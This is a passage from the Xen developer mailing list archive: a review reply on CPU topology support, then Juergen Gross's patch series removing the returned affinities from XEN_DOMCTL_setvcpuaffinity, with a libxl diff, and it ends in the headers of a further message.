x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|23010399003|366016|7416014|376014|1800799024|38070700021|6133799003|22082099003|18002099003|56012099006|4143699003;
x-microsoft-antispam-message-info:
 4ZvOd0AYVR74yf3KobE+6u+Dw8s+7O5t9QLyL00US1X1Y8QnZhvsBWzBCkSzSeE8PrwBfICVlyEg7ar6s/xxzv8SBTKsiYH/HVLlUcwkQh/7MiRu63pmQFp8Idp2pCMye32lcLnKZYQpQVzzBUv1IA+exgMrdfjN9u1wmfXzlBT9/gItXx6I7Vj+RpAHRwFFmj5rq0fUz9jMlCTPyenCAa+eLwbJjGURmIvgIW35EU/iopAaz/T4LXz+jTE1+57qavvd7O4Sqia0gJs5hqmtna3fm/nuxmlZ6ofdDX7WTdFRodsV6BtNVeTT3t1nhgk9bCCvuF72mVRIpB5ngqL0wHiwDj/AMjBlXEvKMKadZI2BVI031uag9XkdToQQEUcPPM5b6fChM1l5uSQWpf+czj7EnEaNVJ/doQagbIqMyA/ng4rhVAv5f39ByGnQPphVQ0MJec34zTwC+YDNXR2u64uS7U8p5r7u/5cawxzAzgr5FnURnfvgRyYBGCeNxzrK7Gqc2YDJ2R7zhkppk6k7XIhOwin4iH3tDf4u52VdHUauOVGEEpu6ARlsboxqP/SF1nrRmVQtv+NZ6P3HP0CjqostMfJYYS1SD/Mv5ArkVHTjdNNxhPNRR710kwOL/tE3X/E+vvhaM3wNDLoGsyN1uCynZ+dyMtxe3VW0+PDGvkg4RuOIqlABgDcVNMSnmjDNwnvpIXFyzbeK1VgVUHWsxZvqDNXlVCZUiQCWgqbuvZs=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(7416014)(376014)(1800799024)(38070700021)(6133799003)(22082099003)(18002099003)(56012099006)(4143699003);DIR:OUT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zWkJEMFQxanN1LzNqeTFsWFpDZ3VMU0h1K1d2NEdWak1YTlNY?=
 =?utf-8?B?RExkVmRlZ2hqRkd4M2JDVzFNNG0xNmh1VHl1bGpSTVAyQU16Vkd2eEVCUi9x?=
 =?utf-8?B?S0o5RzUzbEVaSHBaUEFEMmc3ZEJ3WVduU0dSY3dOcXI3UTdueVZTME4rbXJ3?=
 =?utf-8?B?WGZqVElnVEVzNTN2anRXc1ppOHhsV0diZ0J4ODJxRVBpVzlOS09CV08zNnNC?=
 =?utf-8?B?Szk4TUNxSGI0SEhlTEExa1RNTDc4Z1YrSXZ0ejlLL2dieDVjdjIvM1UrVXdZ?=
 =?utf-8?B?bU1lTUxWZHJQZFFOOU1RcG9YbWxudjYzRjdZZzdpRzNjSUFGc0JzRG9CNk5j?=
 =?utf-8?B?RzB4NUhBMzlNU0JTQkZWMHZRb3p5aUw2YlU3Sm5IcWsvNTljNi9OeW1IdllE?=
 =?utf-8?B?dTczU0g3cktseXRObHByb3hGWGZVTFc4K01mRG83NkdFbzBRR0FBTlNFOUxM?=
 =?utf-8?B?eEhCRVpqL0NURmZGZ2VIQm5acURqN3kySkVyWTVGWWV2RG1RWmhobm9ITnRM?=
 =?utf-8?B?UXdPaGVkajNBdEtEL2tIRk4yNktMaHRmWkY1WFNaT3FPVXVwN0hxTXlxazkr?=
 =?utf-8?Q?rwnRgNtrMGGglpYLfQ?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 9e597f31-4aef-4ace-2785-08ded7618521
X-MS-Exchange-CrossTenant-originalarrivaltime: 01 Jul 2026 11:11:37.8441
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: WVvU5/6fBB5rLXa5fE743EgQ4Vx+Mbu8+atKNemn/02RPxe/6RxRzkuueN3s3KaQVsfvy8vd1rISgW179bqyrg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYCP286MB3533
X-purgate-ID: tlsNG-33051d/1782904304-BC7875D1-A664816E/0/0
X-purgate-type: clean
X-purgate-size: 15748

SGVsbG8sDQoNCj4gPiAtLS0gYS94ZW4vYXJjaC9hcm0vS2NvbmZpZw0KPiA+ICsrKyBiL3hlbi9h
cmNoL2FybS9LY29uZmlnDQo+ID4gQEAgLTEwMSw2ICsxMDEsMTYgQEAgZW5kY2hvaWNlDQo+ID4N
Cj4gPiAgc291cmNlICJhcmNoL0tjb25maWciDQo+ID4NCj4gPiArY29uZmlnIEFSTV9DUFVfVE9Q
T0xPR1kNCj4gPiArCWJvb2wgIkNQVSB0b3BvbG9neSBzdXBwb3J0IChVTlNVUFBPUlRFRCkiIGlm
IFVOU1VQUE9SVEVEDQo+ID4gKwlzZWxlY3QgQ1BVX1RPUE9MT0dZDQo+ID4gKwloZWxwDQo+ID4g
KwkgIFJldHJpZXZlIENQVSB0b3BvbG9neSBpbmZvcm1hdGlvbiBmcm9tIHRoZSBkZXZpY2UgdHJl
ZSB0byBvcHRpbWl6ZQ0KPiA+ICsJICB2aXJ0dWFsIENQVSBzY2hlZHVsaW5nLg0KPiA+ICsNCj4g
PiArCSAgTm90ZTogSW1wbGVtZW50YXRpb24gZm9yIHBhcnNpbmcgQ1BVIHRvcG9sb2d5IGZyb20g
dGhlIEFDUEkgUFBUVA0KPiA+ICsJICBpcyBjdXJyZW50bHkgbWlzc2luZy4NCj4gDQo+IFRoaXMg
b3B0aW9uIGlzbid0IGl0c2VsZiB1c2VkIGFueXdoZXJlOyBpdCBleGlzdHMgc29sZWx5IGZvciBp
dHMgInNlbGVjdCIN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V9tYXNrLCBjcHUpLCAmY3B1
X3Bvc3NpYmxlX21hcCk7DQogICAgfQ0KDQogICAgcmV0dXJuIDA7DQp9DQoNCj4gPiAtLS0gL2Rl
di9udWxsDQo+ID4gKysrIGIveGVuL2luY2x1ZGUveGVuL2R0LWNwdS10b3BvbG9neS5oDQo+ID4g
QEAgLTAsMCArMSwyOSBAQA0KPiA+ICsvKiBTUERYLUxpY2Vuc2UtSWRlbnRpZmllcjogR1BMLTIu
MC1vbmx5ICovDQo+ID4gKw0KPiA+ICsjaWZuZGVmIFhFTl9EVF9DUFVfVE9QT0xPR1lfSA0KPiA+
ICsjZGVmaW5lIFhFTl9EVF9DUFVfVE9QT0xPR1lfSA0KPiA+ICsNCj4gPiArI2luY2x1ZGUgPHhl
bi9kZXZpY2VfdHJlZS5oPg0KPiANCj4gQWdhaW4gSSBjYW4ndCBxdWl0ZSBzZWUgd2h5IHRoaXMg
d291bGQgYmUgbmVlZGVkLiBZb3UgbmVlZCBhIGZvcndhcmQtZGVjbCBvZiAuLi4NCj4gDQo+ID4g
KyNpZmRlZiBDT05GSUdfRFRfQ1BVX1RPUE9MT0dZDQo+ID4gKw0KPiA+ICt2b2lkIG1hcF9jcHVp
ZF90b19ub2RlKHVuc2lnbmVkIGludCBjcHVpZCwgc3RydWN0IGR0X2RldmljZV9ub2RlICpjcHVf
bm9kZSk7DQo+IA0KPiAuLi4gc3RydWN0IGR0X2RldmljZV9ub2RlLCB5ZXMsIGJ1dCB0aGF0J3Mg
YWxsLg0KDQpPa2F5Lg0KDQpUaGFuayB5b3UsDQpIaXJva2F6dSBUYWthaGFzaGkuDQo=


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:16:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:16:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349770.1607410 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvM-0000ms-EQ; Wed, 01 Jul 2026 11:16:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349770.1607410; Wed, 01 Jul 2026 11:16:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvM-0000ml-Bh; Wed, 01 Jul 2026 11:16:12 +0000
Received: by outflank-mailman (input) for mailman id 1349770;
 Wed, 01 Jul 2026 11:16:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wesvL-0000mf-5l
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:16:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wesvK-00AYiY-Ib
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:16:10 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f6f8-bab6-0a2a0a5309dd-0a2a450adfe2-10
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:10 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f6f9-e40e-0a2a450a0019-c387df82b2c6-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:09 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 0BC0C73A64;
 Wed,  1 Jul 2026 11:16:09 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id B0FF2779AA;
 Wed,  1 Jul 2026 11:16:08 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id GjmxKfj2RGrOAQAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 01 Jul 2026 11:16:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904569; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=JT7iBznZB9hYtU2hmcIVCoEf5jUDxb+Rih533/5awsQ=;
	b=qrFnZYoGs8bV/t9bkf3xiq/puwOmeYoEQXCcihKDLtmLaarzPkD+wQXK/2ZU5jng0Y7yip
	lWCjyWJNEausYb8DgjP7PxznkT4S6BkFza9PHXUAXmzHzfLee6OjfK+BOd4WG4tv24fbBU
	ImFKa65Yl0ozvK5sp3lFzrVc6z2Af1A=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=qrFnZYoG
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904569; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=JT7iBznZB9hYtU2hmcIVCoEf5jUDxb+Rih533/5awsQ=;
	b=qrFnZYoGs8bV/t9bkf3xiq/puwOmeYoEQXCcihKDLtmLaarzPkD+wQXK/2ZU5jng0Y7yip
	lWCjyWJNEausYb8DgjP7PxznkT4S6BkFza9PHXUAXmzHzfLee6OjfK+BOd4WG4tv24fbBU
	ImFKa65Yl0ozvK5sp3lFzrVc6z2Af1A=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
Date: Wed,  1 Jul 2026 13:16:03 +0200
Message-ID: <20260701111606.4063972-1-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:mid,suse.com:dkim,imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	FROM_HAS_DN(0.00)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCPT_COUNT_SEVEN(0.00)[11];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	TO_DN_SOME(0.00)[];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: 0BC0C73A64
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-4011c0/1782904569-D7D33DDE-8163BA14/0/0
X-purgate-type: clean
X-purgate-size: 1184

Today the XEN_DOMCTL_setvcpuaffinity hypercall will not only change the
affinity settings of a vcpu, it will return the new effective settings,
too.

In case an error happens during this hypercall, the expectation of the
caller is that the affinity of the vcpu didn't change. This isn't true,
however, if passing the new effective affinity back to the user is
failing.

Instead of making error handling in the hypervisor even more complex,
just change the interface by NOT passing back the new affinity. It can
easily be obtained by another XEN_DOMCTL_getvcpuaffinity call if
needed.

Juergen Gross (3):
  tools/libxl: don't rely on xc_vcpu_setaffinity() returned cpumaps
  xen: don't let XEN_DOMCTL_setvcpuaffinity return the new affinities
  tools/libxenctrl: rename parameters of xc_vcpu_setaffinity()

 tools/include/xenctrl.h        | 26 +++++-----------------
 tools/libs/ctrl/xc_domain.c    | 26 ++++++++++------------
 tools/libs/light/libxl_sched.c |  9 ++++++++
 xen/common/sched/core.c        | 40 ++++++++--------------------------
 xen/include/public/domctl.h    |  9 ++------
 5 files changed, 38 insertions(+), 72 deletions(-)

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:16:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:16:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349771.1607420 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvQ-00011j-RT; Wed, 01 Jul 2026 11:16:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349771.1607420; Wed, 01 Jul 2026 11:16:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvQ-00011c-NC; Wed, 01 Jul 2026 11:16:16 +0000
Received: by outflank-mailman (input) for mailman id 1349771;
 Wed, 01 Jul 2026 11:16:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wesvP-00010r-Ns
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:16:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wesvP-00AhOL-4G
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:16:15 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f6f4-e002-0a2a0a5209dd-0a2a450c89fa-44
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:15 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f6fe-f399-0a2a450c0019-c387df82dc56-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:14 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 84EC273A63;
 Wed,  1 Jul 2026 11:16:14 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 62023779AA;
 Wed,  1 Jul 2026 11:16:14 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id 8NijFv72RGrZAQAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 01 Jul 2026 11:16:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904574; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=Zaxfdhd/2xyg/xgn5cvnR+sq5s7uLGSyRRwH/Mnptzo=;
	b=JhVt65x1JsQycqKDgFnCPOiZKlZvFyiIG+Yag8Eg2mF0F/RPNqYvuM3CoqLPktKDgc8RUh
	sWkv/C0Pu55RkUH+1tuE0R6syoBBdpE23T3/7GOrhi9yi6ugkKaOkudPF0ZQawwpR97Vw3
	qQJrINcEdbhfiM8UIHMqIu6ZUgUaUjk=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=JhVt65x1
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904574; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=Zaxfdhd/2xyg/xgn5cvnR+sq5s7uLGSyRRwH/Mnptzo=;
	b=JhVt65x1JsQycqKDgFnCPOiZKlZvFyiIG+Yag8Eg2mF0F/RPNqYvuM3CoqLPktKDgc8RUh
	sWkv/C0Pu55RkUH+1tuE0R6syoBBdpE23T3/7GOrhi9yi6ugkKaOkudPF0ZQawwpR97Vw3
	qQJrINcEdbhfiM8UIHMqIu6ZUgUaUjk=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>
Subject: [PATCH 1/3] tools/libxl: don't rely on xc_vcpu_setaffinity() returned cpumaps
Date: Wed,  1 Jul 2026 13:16:04 +0200
Message-ID: <20260701111606.4063972-2-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260701111606.4063972-1-jgross@suse.com>
References: <20260701111606.4063972-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	ARC_NA(0.00)[];
	MIME_TRACE(0.00)[0:+];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	RCVD_TLS_ALL(0.00)[];
	DKIM_TRACE(0.00)[suse.com:+];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCPT_COUNT_THREE(0.00)[3];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,suse.com:email,suse.com:dkim,suse.com:mid]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: 84EC273A63
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-d25034/1782904574-A8AA8D51-0726AD08/0/0
X-purgate-type: clean
X-purgate-size: 1341

In order to prepare for XEN_DOMCTL_setvcpuaffinity no longer returning
the effective affinity settings, use xc_vcpu_getaffinity() for getting
the effective affinities after having set them.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 tools/libs/light/libxl_sched.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/tools/libs/light/libxl_sched.c b/tools/libs/light/libxl_sched.c
index 2d6635dae7..2f6a70aef5 100644
--- a/tools/libs/light/libxl_sched.c
+++ b/tools/libs/light/libxl_sched.c
@@ -69,6 +69,15 @@ static int libxl__set_vcpuaffinity(libxl_ctx *ctx, uint32_t domid,
      * is possible that Xen will use something different from what we asked
      * for various reasons. If that's the case, report it.
      */
+    if ((cpumap_hard || cpumap_soft) &&
+        xc_vcpu_getaffinity(ctx->xch, domid, vcpuid,
+                            cpumap_hard ? hard.map : NULL,
+                            cpumap_soft ? soft.map : NULL,
+                            flags & ~XEN_VCPUAFFINITY_FORCE)) {
+        LOGED(ERROR, domid, "Checking vcpu affinity");
+        rc = ERROR_FAIL;
+        goto out;
+    }
     if (cpumap_hard &&
         !libxl_bitmap_equal(cpumap_hard, &hard, 0))
         LOGD(DEBUG, domid, "New hard affinity for vcpu %d has unreachable cpus", vcpuid);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:16:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:16:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349772.1607429 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvX-0001KB-3E; Wed, 01 Jul 2026 11:16:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349772.1607429; Wed, 01 Jul 2026 11:16:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvW-0001Jx-U2; Wed, 01 Jul 2026 11:16:22 +0000
Received: by outflank-mailman (input) for mailman id 1349772;
 Wed, 01 Jul 2026 11:16:21 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wesvV-0001IA-9O
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:16:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wesvU-008Ib4-MO
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:16:20 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f6ff-bab6-0a2a0a5309dd-0a2a45038504-8
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:20 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f704-ec1a-0a2a45030019-c387df82da78-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:20 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 3062C73A63;
 Wed,  1 Jul 2026 11:16:20 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id D9B40779AA;
 Wed,  1 Jul 2026 11:16:19 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id 8F7cMwP3RGrhAQAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 01 Jul 2026 11:16:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
